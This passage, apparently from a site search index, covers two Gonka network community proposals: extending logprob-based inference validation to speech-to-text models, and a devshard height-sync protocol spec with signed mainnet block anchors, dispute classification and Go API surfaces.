enforced_tokens teacher-forcing and comparing logprob distributions, but that infrastructure (vllm/validation.py, the sampler overrides in vllm/v1/sample/, the logprobs_mode switch) is wired into the chat_completion/ path only. It has not been ported to speech_to_text/serving.py. So today you can serve a transcript but cannot prove the executor actually ran the model, and a modality you can't validate can't be trustless.ModelType (a category enum, LLM vs VLM vs ASR, marking which serving/validation path a model uses; the model-name field already exists separately), no model registration, no audio pricing convention.Because the speech_to_text/ serving module and the enforced_tokens building blocks (on the chat path) already exist, the serving side is in place and the work is adding Gonka's validation on top.
Gonka's logprob validation security rests on a property we observe in practice: for the deployed LLMs/VLMs, the per-token logprob distribution from honest hardware is reproducible within a tight, calibrated tolerance, while a node that skipped the compute can't reproduce it. ASR makes that reproducibility harder to guarantee, and the problem is on the input side: the audio input first runs through a hardware-sensitive floating-point pipeline before any logprob is produced.
A text LLM's input is token IDs: discrete, exactly reproducible. ASR's input is raw audio that passes through a float-heavy front-end that text models don't have: decode/resample -> mel-spectrogram -> convolutional stem -> transformer audio encoder -> cross-attention into the decoder. Every stage is floating-point and architecture-sensitive (cuDNN convolutions and reductions are not bit-identical across GPU generations or batch shapes). enforced_tokens pins the decoder token path but does nothing to the encoder. So the leftover difference the validator's L1 distance measures for ASR is:
decoder float differences + encoder/front-end float differences carried in through cross-attention.
For text, that second term is structurally zero (a text model has no encoder and no float preprocessing of its input, so nothing before the decoder can differ), which is why the LLM result is \"settled.\" For ASR it's present and unmeasured. There is a direct precedent: this is the same class of problem the VLM work has shown to be tractable: a VLM has a visual encoder with the same character, and the #1026 / PR #1150 benchmarks report ~99% fraud detection. Two things also work in our favor: cross-attention averages over many encoder positions, which shrinks small encoder differences, and in the audio-LLM design the encoder output passes through the full LLM stack and is re-normalized at every layer. These are reasons to expect the honest cross-GPU spread to be small, but they are arguments from how the model works, and the number still has to be measured. Measuring the honest cross-GPU logprob spread (and confirming it stays below what a cheap fake achieves) decides whether the whole approach is viable, and it's the first thing we'd do.
Input canonicalization problem. Audio has no canonical byte form: the same sound as WAV vs MP3 vs different sample rates yields different bytes and different mel features. Two honest nodes that decode/resample differently will feed the model different audio and disagree, creating exactly the difference the validator is meant to read as fraud. So the protocol must mandate a canonical input before hashing and before the model: decode to a fixed format (e.g. 16 kHz mono PCM) with a pinned resampling algorithm and pinned mel parameters, hash the canonical PCM (not the submitted container), and distribute that artifact to executor and validator alike. Text inputs never needed this step.
One concrete Whisper complication. Whisper splits long audio at silence boundaries; different hardware can land on different split points due to FP rounding in silence detection, which changes the chunk boundaries and breaks teacher-forcing. Fix: store explicit chunk timestamps in the payload so the validator replays with identical boundaries instead of re-running silence detection.
Our approach: extend the existing logprob validation to audio. We keep Gonka's current proof-of-compute method: CompareLogits, the SPRT calibration pipeline, and the per-model validation_threshold all apply unchanged. There are two pieces of work here:
enforced_tokens teacher-forcing to the encoder-decoder path. This mirrors the existing chat-path implementation and is well-scoped.validation_threshold. The threshold has to be measured empirically. We run both candidate models across several GPU types, transcribe a speech dataset under teacher-forcing, collect the per-token logprob distributions, measure how far honest hardware diverges (the honest band), generate fraud scenarios (smaller/quantized/wrong model) to get a fraud band, and run SPRT calibration to find a threshold that separates the two, if one exists. This is the larger of the two tasks and carries most of the risk; it is what Phase 1 below covers.If that study shows the honest logprob band is narrow but nonzero, the fallback is a hybrid: a looser threshold backed by occasional full re-execution.
"}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#proof-of-compute", "title": "Proof of Compute", "text": "PoC needs no new infrastructure: the multi-model PoC infrastructure (PoCModelConfig) is already modality-agnostic.
Phase 1 (no new infrastructure): ASR hosts run the existing PoC sprint, exactly as VLM hosts do today. ASR-specific capability is proven through inference validation. This gets ASR on-chain without any new PoC work.
Phase 2 (separate GIP, later): an audio-specific sprint that mirrors today's token-generation sprint: in a fixed time window a host transcribes as much reference audio as it can, and the throughput is measured and validated the same way the current sprint is (as we understand the current PoC), so a host can't just self-report it. The reference audio has to be unpredictable (e.g. derived from a recent block hash and rotated each epoch) so it can't be pre-transcribed and cached. PoCModelConfig.seq_len can be repurposed for the clip length. The weight formula also has to account for ASR's throughput shape: the encoder is a fixed cost per 30-second window while the decoder scales with transcript length. This stays an open Phase-2 design question.
On-chain: essentially unchanged. We do not put audio on the chain, only the existing hashes/commitments. No Inference proto change is needed if we use a synthetic token count: prompt_token_count = ceil(duration_seconds × 50). Pricing and the bandwidth-limiter work unchanged with that convention, and escrow follows the existing devshard model: the developer escrows up front, runs inferences against devshard hosts as needed, then settles and is refunded the remainder. Audio rides that same flow once it's priced by duration. No model.proto change is strictly required either: a model can be marked as ASR by convention (a --task transcription flag in model_args plus the audio content-type on the stored payload), which is how the validator would know to replay over the audio path instead of the chat path. As far as we can tell, this is how VLM is handled today. A ModelType enum in model.proto would be the cleaner, explicit way to mark it (and would label VLM properly at the same time), at the cost of a proto change and a state migration, but optional.
Off-chain: the load grows. Audio payloads are much heavier than text, so both storage and traffic increase. We'd store audio in a content-addressed object store (the hybrid backend in managed_storage.go already supports this); at audio sizes, inline Postgres BYTEA would bloat the tables. Validators fetch audio bytes only for the inferences they actually validate. At typical validation sample rates (~5–10%) the per-epoch volume stays manageable; the per-payload size increase is the main thing to plan for.
DAPI is the most complex infrastructure change. Audio uses multipart/form-data (a binary upload) where chat uses application/json, so it needs a new post_audio_handler.go; the JSON-oriented ModifyRequestBody() doesn't cover multipart. MLNode's proxy already forwards every /v1/* path verbatim, so no changes are needed there. The devshard path needs the same treatment at similar scope: the chain and devshard validators share one runtime (shared_runtime.go), so the audio validation branch is written once for both, and the devshard otherwise just needs the new model and its duration-based pricing, following the current flow.
We'd like to put a team on this and take it from research through integration. A tentative plan:
enforced_tokens to the transcription path in the vLLM fork, add the DAPI audio handler and the ASR validation branch, and wire audio payload storage.We'd start with step 1 independently and share the results before going further. If the Machine Intelligence Lab team (@fedor-konovalenko) has active ASR plans, we'd welcome coordinating on where the work splits. Feedback on the approach, the candidate models, and the validation gate is especially welcome.
"}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#1", "title": "💬 Комментарии (1)", "text": ""}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#1-fedor-konovalenko", "title": "Комментарий 1 — @fedor-konovalenko", "text": "2026-06-22 17:28 UTC
Hi!
@ivan-smetannikov-serokell
Here is an updated list of ASR models and hypotheses
"}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#gonka-audio-verification-research", "title": "Gonka Audio Verification Research", "text": ""}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#objective", "title": "Objective", "text": "Develop a verification mechanism that can distinguish execution on a reference large audio model from execution on a modified, compressed, quantized, distilled, or substituted model.
The primary goal is verification that inference was performed by a specific target model family with expected numerical behavior.
"}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#track-a-primary", "title": "Track A (Primary)", "text": ""}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#large-open-source-audio-llms", "title": "Large Open-Source Audio LLMs", "text": ""}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#motivation", "title": "Motivation", "text": "Recent open-source audio-language models combine audio understanding and language generation in a single architecture.
Typical architecture:
Audio Encoder → Projector / Q-Former → LLM Decoder → Text Tokens
Examples:
These models are especially attractive because they expose the same type of token probability distributions that are commonly used for LLM evaluation and validation in Gonka.
"}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#research-hypothesis", "title": "Research Hypothesis", "text": "Large audio LLMs produce stable probability signatures on carefully selected audio prompts.
Model modifications such as:
introduce measurable changes in token probability distributions.
"}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#validation-pipeline", "title": "Validation Pipeline", "text": ""}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#step-1", "title": "Step 1", "text": "Prepare a benchmark set of audio challenges.
Desired properties:
The benchmark should maximize decoder uncertainty and expose subtle probability differences.
Also it is possible to use open source benchmark, e.g. https://github.com/revdotcom/speech-datasets
"}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#step-2", "title": "Step 2", "text": "Run inference on the reference model.
Collect:
Then compare inference artifacts for different models and different hardware:
The verifier should reliably distinguish:
while maintaining a low false-positive rate.
"}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#track-b-alternative", "title": "Track B (Alternative)", "text": ""}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#large-open-source-asr-models", "title": "Large Open-Source ASR Models", "text": ""}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#motivation_1", "title": "Motivation", "text": "Many production speech systems use dedicated ASR architectures rather than audio-language models.
Examples include:
These systems follow a fundamentally different architecture.
Typical pipeline:
Audio Encoder → Decoder / CTC Head → Transcript
As a result, LLM-style token fingerprinting is not appropriate.
A separate validation methodology is required.
"}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#research-hypothesis_1", "title": "Research Hypothesis", "text": "Even when transcripts remain identical, model modifications alter confidence distributions and sequence likelihood characteristics.
These effects can be measured to identify model substitution or aggressive compression.
"}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#validation-pipeline_1", "title": "Validation Pipeline", "text": ""}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#step-1_1", "title": "Step 1", "text": "Run reference inference with prepared benchmark.
Collect:
Compute ASR-specific fingerprints.
"}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#sequence-log-likelihood", "title": "Sequence Log-Likelihood", "text": "Evaluate:
log P(transcript | audio)
Quantized and distilled models often shift this value systematically.
"}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#word-confidence-profile", "title": "Word Confidence Profile", "text": "Analyze confidence distributions across words.
Useful statistics:
Track uncertainty throughout decoding.
Different model implementations often produce characteristic entropy signatures.
"}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#calibration-signature", "title": "Calibration Signature", "text": "Measure relationship between predicted confidence and actual transcription error. This often changes after quantization or compression.
"}, {"location": "community/discussion/proposals/1335-add-support-for-speech-to-text-asr-models/#expected-outcome_1", "title": "Expected Outcome", "text": "The verifier should distinguish:
even when the final transcript remains largely unchanged.
"}, {"location": "community/discussion/proposals/1340-devshard-height-sync-protocol/", "title": "#1340 — `devshard` Height-sync protocol", "text": "🔄 Auto-sync: from Discussion #1340 every hour.
"}, {"location": "community/discussion/proposals/1340-devshard-height-sync-protocol/#devshard-height-sync-protocol", "title": "devshard Height-sync protocol", "text": "Автор: @alexanderkuprin · Категория: Proposals · Создано: 2026-06-12 12:35 UTC · Обновлено: 2026-07-02 10:41 UTC
"}, {"location": "community/discussion/proposals/1340-devshard-height-sync-protocol/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/1340-devshard-height-sync-protocol/#height-sync-protocol", "title": "Height-sync protocol", "text": "User ↔ host envelopes carry an optional HeightSyncSection that attests to a mainnet (height, block_hash, block_timestamp) triple. This section is the sole input to cross-host time alignment, timeout decisions, and the IsStrictlyConfirmed(h) predicate that downstream protocols (cPoC, finalization) gate verdicts on. block_hash could be the source of determenistic randomness that is unknown in advance, can be used by VALIDATION_PROTOCOL_PROPOSAL.md There is another variants for source of randomness to be discussed.
block_timestamp can be deterministic time to be used in devshard for timeouts.
This document is the canonical, single-version spec. The in-tree implementation matches this document; the test catalog (height-sync-tests.md) lists what is already proven and what is planned.
Related docs: height-sync-tests.md (test catalog — implemented and planned), CPOC Protocol for devshard, Finalization Protocol, VALIDATION_PROTOCOL_PROPOSAL.md.
K, slots_num, forced turns)IsStrictlyConfirmed)User–host inference traffic carries a two-section HTTP body:
HeightSyncSection — optional mainnet attestation: a signed (mainnet_height, mainnet_block_hash) pair, plus framing and provenance metadata.message_body — the application payload (opaque to height sync).Section 1 is emitted only when needed:
K nonces, a window of slots_num consecutive nonces carries Anchor; in between, Omit.MsgForceHeightSyncTurn opens a slots_num-wide Anchor span at any nonce (cPoC dispute open, operator force).|Δ| > D — when the sender's claimed height differs from the receiver's aligned height by more than D, the sender MUST use Strong (LightBlock + VerifyCommit); otherwise the receiver rejects.Hosts sign response-leg Anchors with their secp256k1 signer key; courier users carry these signed blobs forward, verifying on ingest and using them as on-demand exculpation proof. Request-leg Anchors are trusted by hosts (no inline signature) — the user proves provenance later if disputed.
A single IsStrictlyConfirmed(h) predicate exposes a discrete {confirmed, pending, stale} answer to downstream consumers.
At devshard we need source of mainnet height and randomness, that is unknowm in advance but is determenistic to make all hosts and user to aggree.
Each host has it's own latest (height, block_hash) oracle (inference chain grpc), and the prove by inference chain validators signatures. But hosts should aggree that any height provided to protocol is really latest. So there should be height sync protocol provided in this doc.
As devshard is designed for high throughput we aim to minimize extra data transferred in messages and minimize checks of minnet signatures. Also we are minimizing gossipping that should happen only on disputes and settlement to minimize traffic (as one host could be in a lot of devshard's)
So main design decitions are made:
(height, block_hash) and originator's (host that is responding to request) signature, to proove origin of this data for possible disputes. User is carrying forward (height, block_hash) at next requests to propogate this data to other hosts.height_in_the_future - known_height = |Δ| > D) we use the full data from mainnet (block hash and validators signatures) to validate the heightheight doesn't match the oracle block_hash we start the disputeAs the result we provide API at devshardd and devshardctl that gives latest height, block hash and the knowledge if majority of devshard network participants agree on this.
"}, {"location": "community/discussion/proposals/1340-devshard-height-sync-protocol/#4-goals", "title": "4. Goals", "text": "LightBlock) on a sync-turn schedule keeps every host's view of mainnet time within a bounded window without per-message proof overhead.|Δ| > D or finalization requires it, validator-quorum-bound proof (LightBlock) is mandatory.(H, hash) is traceable to the originating host signature; carriers cannot be blamed for forwarding a malicious host's signed claim, and carriers that strip provenance become the cryptographic source.F on originator timestamp + per-recipient last-propagated bookkeeping prevents a carrier from re-using stale or already-delivered tips.IsStrictlyConfirmed(h) ∈ {confirmed, pending, stale} predicate so cPoC / finalization do not invent their own quorum logic.(C-quorum) confirmation.HeightSyncSection Wire-level header attached to every inference envelope; absent in Omit mode. Anchor proof_type = \"height-anchor-v1\"; carries (H, hash) without a LightBlock. Light path. Strong proof_type = \"cometbft-light-block-v1\"; carries LightBlock bytes; verified against pinned validator set with > 2/3 voting power. Omit No HeightSyncSection. H Mainnet height; uint64. hash Canonical BlockID.Hash for block H. K Distance (in nonces) between sync-turn windows. Constraint: K ≥ slots_num. slots_num Width of a sync-turn window in nonces (equals escrow host slots). D Strong-escalation band; \\|H_peer − H_local_aligned\\| > D ⇒ Strong required. Default 2. F Originator freshness budget. Default 60 s. W_conf Confirmation-index height window. Default max(256, ⌈F / block_time⌉). Q (C-quorum) threshold. Default ceil(2/3 × N_hosts). Originator The host whose own oracle first observed (H, hash). Identified by OriginatorSenderID on the wire. Carrier Any sender that forwards a section it did not originate (typically the user). Identified by the session signature. local_aligned The receiver's view of mainnet height (its own follower, or its peer-tip cache for courier users). IsStrictlyConfirmed(h) {confirmed, pending, stale} predicate consumed by cPoC."}, {"location": "community/discussion/proposals/1340-devshard-height-sync-protocol/#6-architecture-overview", "title": "6. Architecture overview", "text": "flowchart LR\n subgraph mainnet [Gonka mainnet]\n BC[CometBFT consensus]\n end\n\n BC -- \"block headers + commits\" --> HSD[heightsyncd / blockoracle]\n\n subgraph host [Host runtime]\n HSD --> SCH_H[AnchorScheduler<br/>local-oracle source]\n SCH_H --> TX_H[transport.Server<br/>signs response leg]\n TX_H -- \"HeightSyncSection<br/>request inbound\" --> RX_H[Receiver pipeline<br/>D-band, freshness, classify]\n RX_H --> AUD_H[AuditRing + ConfirmationIndex]\n AUD_H -- \"IsStrictlyConfirmed\" --> CPOC_H[cPoC consumer]\n end\n\n subgraph user [Courier user / devshardctl]\n TIPS[HeightSyncPeerTips<br/>verbatim signed blobs] --> SCH_U[AnchorScheduler<br/>peer-tip source]\n SCH_U --> TX_U[transport.HTTPClient<br/>Carry, strip sig on request]\n TX_U -- \"response inbound<br/>verify + cache\" --> RX_U[Verify response Anchor<br/>RecordOriginWithBlob]\n RX_U --> TIPS\n TIPS -- \"IsStrictlyConfirmed\" --> CPOC_U[cPoC consumer]\n end\n\n TX_U -- \"request leg<br/>HeightSyncSection\" --> RX_H\n TX_H -- \"response leg<br/>HeightSyncSection (signed)\" --> RX_UKey invariants:
heightsyncd/blockoracle); this is the canonical source of local_aligned.local_aligned from the verified peer-tip cache populated by signed host responses.HeightSyncSection is the only mainnet-related wire surface on inference envelopes; the receiver pipeline is single-entry.HeightSyncSection is carried as protobuf field on the inference envelope and JSON-mirrored for tooling. Field numbers are stable.
proof_type string Anchor / Strong \"height-anchor-v1\" (Anchor) or \"cometbft-light-block-v1\" (Strong). 2 mainnet_height int64 Anchor / Strong Block height H. MUST NOT be set in Omit. 3 mainnet_block_hash_hex string (hex) Anchor / Strong Canonical BlockID.Hash for H. 4 timestamp_unix_ms int64 always When the carrier built this section. 5 direction string always \"request\" or \"response\". 6 originator_sender_id string carry-forward The host that first observed (H, hash) from its own oracle. Carrier MUST preserve. 7 originator_timestamp_unix_ms int64 carry-forward The originator's observation timestamp. Drives freshness gate F. 8 sender_signature bytes response leg only secp256k1 signature over canonical bytes of fields 1–7 + domain \"heightsync.origin.v1\". Empty on request leg. 9 light_block bytes Strong only Serialized LightBlock-equivalent (blockoracle.Header with Commit.Signatures). 10 tip_stale_after_ms int64 optional (Anchor) Advisory only — not origin-signed. Milliseconds since the producer's block oracle last ingested a new header. Set when cadence wanted Anchor but the feed is quiet (long block time, StaleAfter exceeded) while a cached (H, hash) is still available. Absent when the tip is fresh or on courier carry-forward re-emits. Receivers MUST NOT treat this field as part of the cryptographic attestation; use freshness gate F on originator timestamps and (C-quorum) / IsStrictlyConfirmed for liveness. Notes:
StaleAfter but Latest() still returns a cached header, hosts emit a normal Anchor (fields 1–8) plus field 10. This avoids sync-turn response Omit during long inter-block gaps; consensus across hosts still corrects a minority with an outdated tip. Omit remains mandatory when there is no cached tip (feed never started), Latest() fails (feed unavailable), or the courier peer-tip cache is empty.Carry() clears field 8 before sending on the request leg; inbound request validation does not require an inline signature.CanonicalOriginBytes(sec) = \"heightsync.origin.v1\" || proto.Marshal(fields 1..7). Field 8 is not part of the signing input.origin_attestation (embedded originator blob) is reserved for future inline-embed deployments; current protocol uses the asymmetric model (response signed, request trusted, on-demand exculpation).JSON mirror:
{\n \"height_sync\": {\n \"proof_type\": \"height-anchor-v1\",\n \"mainnet_height\": 42,\n \"mainnet_block_hash_hex\": \"abc...\",\n \"timestamp_unix_ms\": 1700000000000,\n \"direction\": \"response\",\n \"originator_sender_id\": \"gonka1host...\",\n \"originator_timestamp_unix_ms\": 1700000000000,\n \"sender_signature\": \"base64...\",\n \"light_block\": \"base64...\",\n \"tip_stale_after_ms\": 12000\n }\n}\n(tip_stale_after_ms omitted when the cached tip is fresh.)
stateDiagram-v2\n direction LR\n [*] --> Omit\n Omit --> Anchor: nonce in sync turn / forced turn / lazy carry\n Anchor --> Omit: next nonce outside window\n Anchor --> Strong: \\|H − local_aligned\\| > D OR forced (StrongRequired)\n Strong --> Anchor: peer realigned, within D again\n Anchor --> Anchor: cadence next turn\n Strong --> Strong: still > Dlight_block) When Omit absent absent Between sync turns; courier peer-tip cache cold; host feed unavailable or no cached tip. Anchor present empty Inside a sync-turn window (cadence / initial / forced) or lazy carry-forward in courier mode. Anchor (degraded) present + field 10 empty Same as Anchor when cadence applies but the host oracle is quiet (StaleAfter since last block) and a cached tip exists — see field 10. Strong present non-empty (verified) \\|Δ\\| > D, finalization-grade, or forced turn with StrongRequired = true. Periodic alignment uses Anchor only. Strong is not a default cadence step — it is the disagreement / dispute path.
Quiet feed vs dead feed (hosts):
Oracle state Cached tip Sync-turn response Fresh (block withinStaleAfter) yes Anchor (no field 10) Quiet (no new block within StaleAfter) yes Degraded Anchor (tip_stale_after_ms > 0) Quiet or fresh no Omit (oracle_miss when cadence required) Unavailable (Latest() error, e.g. height-sync stopped) — Omit"}, {"location": "community/discussion/proposals/1340-devshard-height-sync-protocol/#9-cadence", "title": "9. Cadence", "text": ""}, {"location": "community/discussion/proposals/1340-devshard-height-sync-protocol/#sync-turn-windows", "title": "Sync-turn windows", "text": "For a session direction, on outgoing nonce n:
1 ≤ n ≤ slots_num → Anchor (or Strong, see §10).i ≥ 1, i·K ≤ n ≤ i·K + slots_num − 1 → Anchor.Constraint: K ≥ slots_num so windows never overlap.
gantt\n title Sync-turn cadence (K=8, slots_num=4)\n dateFormat X\n axisFormat %s\n section Cadence\n Initial sync turn (Anchor) :a1, 1, 4\n Omit :a2, 5, 7\n Periodic sync turn 1 :a3, 8, 11\n Omit :a4, 12, 15\n Periodic sync turn 2 :a5, 16, 19MsgForceHeightSyncTurn(trigger_nonce, slots_num, reason, strong_required?) opens an ActiveForcedTurn{start, end} span:
[start, end]. Omit inside a forced turn is INVALID.strong_required = true upgrades the window to Strong.n > end, cadence resumes from the standard rule.Outside any sync-turn window, the courier user MAY emit Anchor on a request leg iff:
MaxFresh(now, F) returns non-nil).cached_max_height > last_propagated[recipient].The receiver classifies this as VALID_LAZY_ANCHOR (audit tag lazy); it does not open a sync-turn obligation.
OriginatorSenderID = host_address, OriginatorTimestampMs = now, and sign the section (field 8). If the oracle is quiet (no new block within StaleAfter) but a cached tip exists, still emit that Anchor and set tip_stale_after_ms to the age of the last ingested block (field 10 is set after signing input fields 1–7). Omit only when there is no usable cached tip or Latest() fails.forced.StrongRequired is set OR receiver's peer_aligned_height differs from local tip by > D: produce Strong by attaching the cached LightBlock for H (field 9).HeightSyncPeerTips keyed by OriginatorSenderID.VerifyOrigin); on failure, drop the tip and increment origin_sig_invalid_total.sender_signature) before sending.OriginatorSenderID = user_address; that field reflects the host that signed the cached blob.flowchart TD\n A[envelope arrives] --> B{HeightSyncSection<br/>present?}\n B -- no --> O{nonce in sync turn /<br/>active forced turn?}\n O -- yes --> O1[INVALID<br/>sync_turn_anchor_missing]\n O -- no --> O2[VALID_OMIT]\n B -- yes --> C{Anchor or Strong?}\n C -- Anchor --> D{\"|H − local_aligned| > D?\"}\n D -- yes --> D1[INVALID<br/>strong_required]\n D -- no --> E{carry-forward<br/>originator set?}\n E -- yes --> F{originator within F?}\n F -- no --> F1[INVALID<br/>stale_origin]\n F -- yes --> G[classify cadence / lazy<br/>by nonce vs sync turn]\n E -- no --> G\n C -- Strong --> H[StrongVerifier.VerifyLightBlock]\n H -- ok --> I[VALID_STRONG]\n H -- fail --> H1[INVALID<br/>strong_proof_invalid]\n G --> J{block H local AND<br/>hash matches?}\n J -- yes/match --> K[VALID_ANCHOR or<br/>VALID_LAZY_ANCHOR]\n J -- no/local-missing --> L[enqueue deferred check]\n J -- local AND mismatch --> M{originator present?}\n M -- yes --> M1[DISPUTE_ORIGINATOR]\n M -- no --> M2[DISPUTE_CARRIER]Normative steps for a non-Omit envelope:
ActiveForcedTurn[start..end] is set and start ≤ nonce ≤ end, the envelope MUST be Anchor (or Strong when StrongRequired). Omit ⇒ INVALID.D band. If proof_type == \"height-anchor-v1\" and |H − local_aligned| > D: INVALID (strong_required).proof_type == \"cometbft-light-block-v1\": run StrongVerifier.VerifyLightBlock (chain id, header vs claims, validators_hash, optional epoch-bound Step 3b, BlockID, commit > 2/3); failure ⇒ INVALID (strong_proof_invalid).OriginatorSenderID != \"\":now_ms − OriginatorTimestampMs > F ⇒ INVALID (stale_origin); audit trust = TrustDisputeCarrier.VALID_ANCHOR (tag cadence).VALID_LAZY_ANCHOR (tag lazy).VALID_ANCHOR.H is local and hash matches → confirmed immediately; feed ConfirmationIndex.H is not yet local → enqueue deferred check by (originator, H, hash); do not advance height_seen_max.H is local and hash differs → DISPUTE_ORIGINATOR (originator metadata present) or DISPUTE_CARRIER (originator absent or signature failed); persist the offending signed blob.AnchorAttestation (with Tag, Trust, OriginatorSenderID, OriginSignedBlobAvailable) to the per-peer ring; emit counters.message_body if not INVALID.VALID_OMIT No height attestation; framing OK. VALID_ANCHOR Anchor inside cadence / forced span; hash matched or deferred enqueued. VALID_LAZY_ANCHOR Anchor outside cadence (courier path); same audit semantics as VALID_ANCHOR, tag lazy. VALID_STRONG LightBlock verified against pinned set; may advance strong anchor state. VALID_STALE Cryptographically OK but recency rule fails (Strong-only). DEFERRED_FAIL Deferred check found hash mismatch ⇒ evidence vs originator. DISPUTE_ORIGINATOR Same-height / different-hash with verified originator. DISPUTE_CARRIER Same-height / different-hash without verified provenance. INVALID(reason) One of: sync_turn_anchor_missing, stale_origin, strong_required, strong_proof_invalid, bad_framing."}, {"location": "community/discussion/proposals/1340-devshard-height-sync-protocol/#12-trust-model-and-signatures", "title": "12. Trust model and signatures", "text": "The protocol is asymmetric: responses are signed, requests are trusted, exculpation is on-demand.
sequenceDiagram\n participant U as User (courier)\n participant H as Host A\n participant H2 as Host B\n U->>H: request (request leg, no sig)\n H->>U: response Anchor [signed by Host A]\n Note over U: VerifyOrigin OK<br/>RecordOriginWithBlob(host_A, H, blob, sig)\n U->>H2: request Anchor (carry-forward, no inline sig)\n Note over H2: trusts carrier<br/>freshness gate F applies\n Note over H2: later, follower advances<br/>compares hash to canonical\n H2-->>U: DEFERRED_FAIL? open dispute vs user\n U->>U: HeightSyncEvidenceFor(host_A, H) → blob + sig\n U-->>H2: signed_blob proves originator = Host A<br/>⇒ DISPUTE_ORIGINATOR vs Host AOriginatorSenderID, OriginatorTimestampMs, builds CanonicalOriginBytes (fields 1–7 + domain heightsync.origin.v1).origin_sig_invalid_total increments.RecordOriginWithBlob(originator, sec, blob, sig).Carry() strips field 8 before sending.If a host later opens a dispute against the user-carrier, the user calls HTTPClient.HeightSyncEvidenceFor(originator, H) to produce the cached (blob, sig). A dispute verifier re-runs VerifyOrigin; success ⇒ blame shifts to the originating host (DISPUTE_ORIGINATOR); failure ⇒ blame stays on the carrier (DISPUTE_CARRIER).
When Strong is on the wire (light_block non-empty), validation is cryptographic against the pinned validator set:
LightBlock-equivalent (blockoracle.Header).chain_id, height, block_hash against claims.validators_hash matches Merkle root of the pinned set.BlockID == hdr.BlockID.VerifyCommit: every commit signature ecrecovers to a pinned validator, no duplicates, accumulated power strictly > 2/3 of total.h ≥ local_tip − max_lag_blocks else VALID_STALE.OriginatorSenderID or OriginatorTimestampMs.D bound on carry-forward. A carry-forward Anchor with |H − local_aligned| > D is INVALID; carrier MUST escalate to Strong instead. (This is a stricter form of strong_required.)DISPUTE_CARRIER).last_propagated discipline", "text": "HeightSyncPeerTips.ShouldPropagateTo(recipient, h) returns true iff h > last_propagated[recipient]. On a successful send, MarkPropagated(recipient, h) advances the high-water mark. Reaching a quorum at a late host requires a strictly increasing height ladder (production-faithful) — not three lazy carries at the same H.
// devshard/heightsync/confirmation.go\n\ntype ConfirmState int\nconst (\n ConfirmPending ConfirmState = iota\n ConfirmConfirmed\n ConfirmStale\n)\n\ntype ConfirmationView interface {\n IsStrictlyConfirmed(h uint64) ConfirmState\n}\nSemantics:
confirmed — h has cleared the configured confirmation rule. Downstream protocols MAY treat (h, hash) as authoritative.pending — height-sync has data for h but has not yet cleared the rule. Downstream MUST NOT commit adversarial verdicts; cPoC returns Inconclusive (C6).stale — h cannot be evaluated because the oracle is stale / disconnected. Downstream treats verdicts as Inconclusive until recovery.Monotonicity: once confirmed, a height stays confirmed. pending → confirmed is the only forward transition.
Configured at deployment time:
Rule Predicate(C-quorum) ≥ Q distinct originators from the roster have attested heights ≥ h, all within F, all in [tip − W_conf, tip]. (C-strong) Receiver has at least one verified LightBlock for height ≥ h. (C-hybrid) Either of the above clears. PoC deployments without Strong run (C-quorum). Production-class deployments SHOULD select (C-hybrid) once Strong is enabled.
F Freshness; ineligible after now − observed_at > F 60 s W_conf Index window: only heights in [tip − W_conf, tip] count max(256, ⌈F / block_time⌉) Q Quorum threshold (C-quorum) ceil(2/3 × N_hosts) max_height < tip − W_conf or observed_at past F).confirmed_heights set so pruning never demotes a confirmed height.V view, not global", "text": "IsStrictlyConfirmed is computed against the caller's own audit ring and clock. Two verifiers may transiently disagree (pending vs confirmed); cPoC's quorum-based slashing tolerates this.
The following Go APIs are the stable surface that cPoC and finalization consume. Implementation paths in parentheses.
"}, {"location": "community/discussion/proposals/1340-devshard-height-sync-protocol/#151-discrete-confirmation-predicate", "title": "15.1 Discrete confirmation predicate", "text": "// On the user side (courier):\nfunc (c *transport.HTTPClient) ConfirmationView() heightsync.ConfirmationView\n// On the host side (own oracle):\nfunc (s *transport.Server) ConfirmationView() heightsync.ConfirmationView\nBoth expose ConfirmationView.IsStrictlyConfirmed(h uint64) ConfirmState. cPoC §C6 / §C14 / §Verdict step 5 call this directly.
Usage example (cPoC verdict):
view := server.ConfirmationView()\nswitch view.IsStrictlyConfirmed(h) {\ncase heightsync.ConfirmConfirmed:\n // commit verdict\ncase heightsync.ConfirmPending:\n return InconclusivePendingHeight(h)\ncase heightsync.ConfirmStale:\n return InconclusiveStaleOracle()\n}\nfunc (c *transport.HTTPClient) ObservedHeightNow() (uint64, bool)\nReturns (h, true) where h is the highest fresh tip in the courier peer-tip cache; (0, false) when no fresh tip exists or height sync is not configured. Used by cPoC C14 heartbeats — a false return means \"Inconclusive — no fresh height\".
// User side: produce the originator's signed blob for (originator, h).\nfunc (c *transport.HTTPClient) HeightSyncEvidenceFor(\n originator string, h int64,\n) (blob, sig []byte, ok bool)\nReturned by the courier cache (HeightSyncPeerTips.OriginSignedBlobFor). Verifiable with heightsync.VerifyOriginDetached(verifier, sec, blob, sig) without reaching the user.
